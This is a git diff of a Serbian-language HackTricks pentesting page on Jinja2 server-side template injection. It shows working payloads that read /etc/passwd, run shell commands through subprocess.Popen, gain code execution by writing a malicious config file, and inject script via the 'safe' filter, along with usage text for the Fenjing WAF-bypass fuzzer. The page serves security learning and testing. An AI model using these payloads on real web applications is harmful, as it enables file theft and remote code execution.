Translated ['pentesting-web/ssti-server-side-template-injection/jinja2-s

This commit is contained in:
Translator 2024-06-04 22:08:22 +00:00
parent b2ae8738c8
commit 7407e2a9f6

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **Razno**
### **Debug izjava**
### **Izjava za otklanjanje grešaka**
Ako je omogućeno proširenje za otklanjanje grešaka, dostupna će biti oznaka `debug` za ispis trenutnog konteksta, kao i dostupnih filtera i testova. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
Ako je Debug ekstenzija omogućena, `debug` tag će biti dostupan za ispis trenutnog konteksta, kao i dostupne filtere i testove. Ovo je korisno kako biste videli šta je dostupno za korišćenje u predlošku bez postavljanja debagera.
```python
<pre>
@ -81,9 +79,9 @@ request
```
### Obnavljanje \<class 'object'>
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz nesandboxovanog** Python okruženja.
Zatim, iz ovih objekata moramo doći do klase: **`<class 'object'>`** kako bismo pokušali **obnoviti** definisane **klase**. Ovo je zato što iz ovog objekta možemo pozvati metodu **`__subclasses__`** i **pristupiti svim klasama iz python okruženja koje nije peskovnikovano**.
Da biste pristupili toj **klasi objekta**, morate pristupiti **objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
Da biste pristupili toj **klasi objekta**, morate **pristupiti objektu klase** a zatim pristupiti ili **`__base__`**, **`__mro__()[-1]`** ili `.`**`mro()[-1]`**. A zatim, **nakon** dostizanja ove **klase objekta** pozivamo **`__subclasses__()`**.
Proverite ove primere:
```python
@ -127,9 +125,9 @@ dict.__mro__[-1]
```
### RCE Escaping
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__`, sada možemo koristiti te klase da čitamo i pišemo datoteke i izvršavamo kod.
**Nakon što smo povratili** `<class 'object'>` i pozvali `__subclasses__` sada možemo koristiti te klase da čitamo i pišemo datoteke i izvršavamo kod.
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo zadovoljni samo pristupom **klasi datoteke** da **čitamo/pišemo datoteke** ili bilo kojoj klasi sa pristupom klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih funkcija**, bićemo zadovoljni samo pristupom **file klasi** da **čitamo/pišemo datoteke** ili bilo kojoj klasi sa pristupom klasi koja **omogućava izvršavanje komandi** (kao što je `os`).
**Čitanje/Pisanje udaljene datoteke**
```python
@ -137,7 +135,7 @@ Poziv `__subclasses__` nam je pružio priliku da **pristupimo stotinama novih fu
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**Udaljeno izvršenje koda (RCE)**
**Udaljeno izvršavanje koda (RCE)**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
@ -199,9 +197,9 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
```
* [**Vratite se ovde za više opcija pristupa globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
* [**Vratite se ovde za više opcija pristupa klasi objekta**](jinja2-ssti.md#oporavak-objekta-klase)
* [**Pročitajte ovo da biste dobili RCE bez klase objekta**](jinja2-ssti.md#jinja-injekcija-bez-klase-objekta)
* [**Vratite se ovde za više opcija za pristup globalnom objektu**](jinja2-ssti.md#pristup-globalnim-objektima)
* [**Vratite se ovde za više opcija za pristup klasi objekta**](jinja2-ssti.md#oporavak-manje-od-klase-objekta-veće)
* [**Pročitajte ovo da biste dobili RCE bez klase objekta**](jinja2-ssti.md#jinja-injekcija-bez-manje-od-klase-objekta-veće)
**Izbegavanje HTML enkodiranja**
@ -211,13 +209,13 @@ Podrazumevano, Flask enkodira sav HTML unutar šablona iz sigurnosnih razloga:
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`** filter omogućava nam da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
**Filter `safe`** nam omogućava da ubacimo JavaScript i HTML u stranicu **bez** enkodiranja **HTML-a**, kao što je prikazano ovde:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**RCE pisanjem zlonamernog konfiguracionog fajla.**
**RCE putem pisanja zlonamernog konfiguracionog fajla.**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
@ -238,10 +236,10 @@ Bez **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```
## Jinja ubacivanje bez **\<class 'object'>**
## Jinja Injection bez **\<class 'object'>**
Iz [**globalnih objekata**](jinja2-ssti.md#pristup-globalnim-objektima) postoji još jedan način da se dođe do **RCE-a bez korišćenja te klase.**\
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, bićete u mogućnosti da pristupite **`__globals__.__builtins__`** i odande je **RCE** veoma **jednostavan**.
Ako uspete da pristupite bilo kojoj **funkciji** iz tih globalnih objekata, moći ćete da pristupite **`__globals__.__builtins__`** i odatle je **RCE** vrlo **jednostavan**.
Možete **pronaći funkcije** iz objekata **`request`**, **`config`** i bilo kog **drugog** interesantnog **globalnog objekta** do kojeg imate pristup sa:
```bash
@ -284,10 +282,37 @@ Kada pronađete neke funkcije, možete povratiti ugrađene funkcije pomoću:
# All the bypasses seen in the previous sections are also valid
```
### Fuzzing WAF bypass
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) 是一个专门用于CTF的工具但也可以用于在真实场景中暴力破解无效参数。该工具只是喷洒单词和查询以检测过滤器搜索绕过并提供交互式控制台。
```
webui:
As the name suggests, web UI
Default port 11451
scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'
crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name
crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'
crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.
```
## Reference
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* Proverite [attr trik da zaobiđete crne liste karaktera ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* Proverite [attr trik kako biste zaobišli zabranjene znakove ovde](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)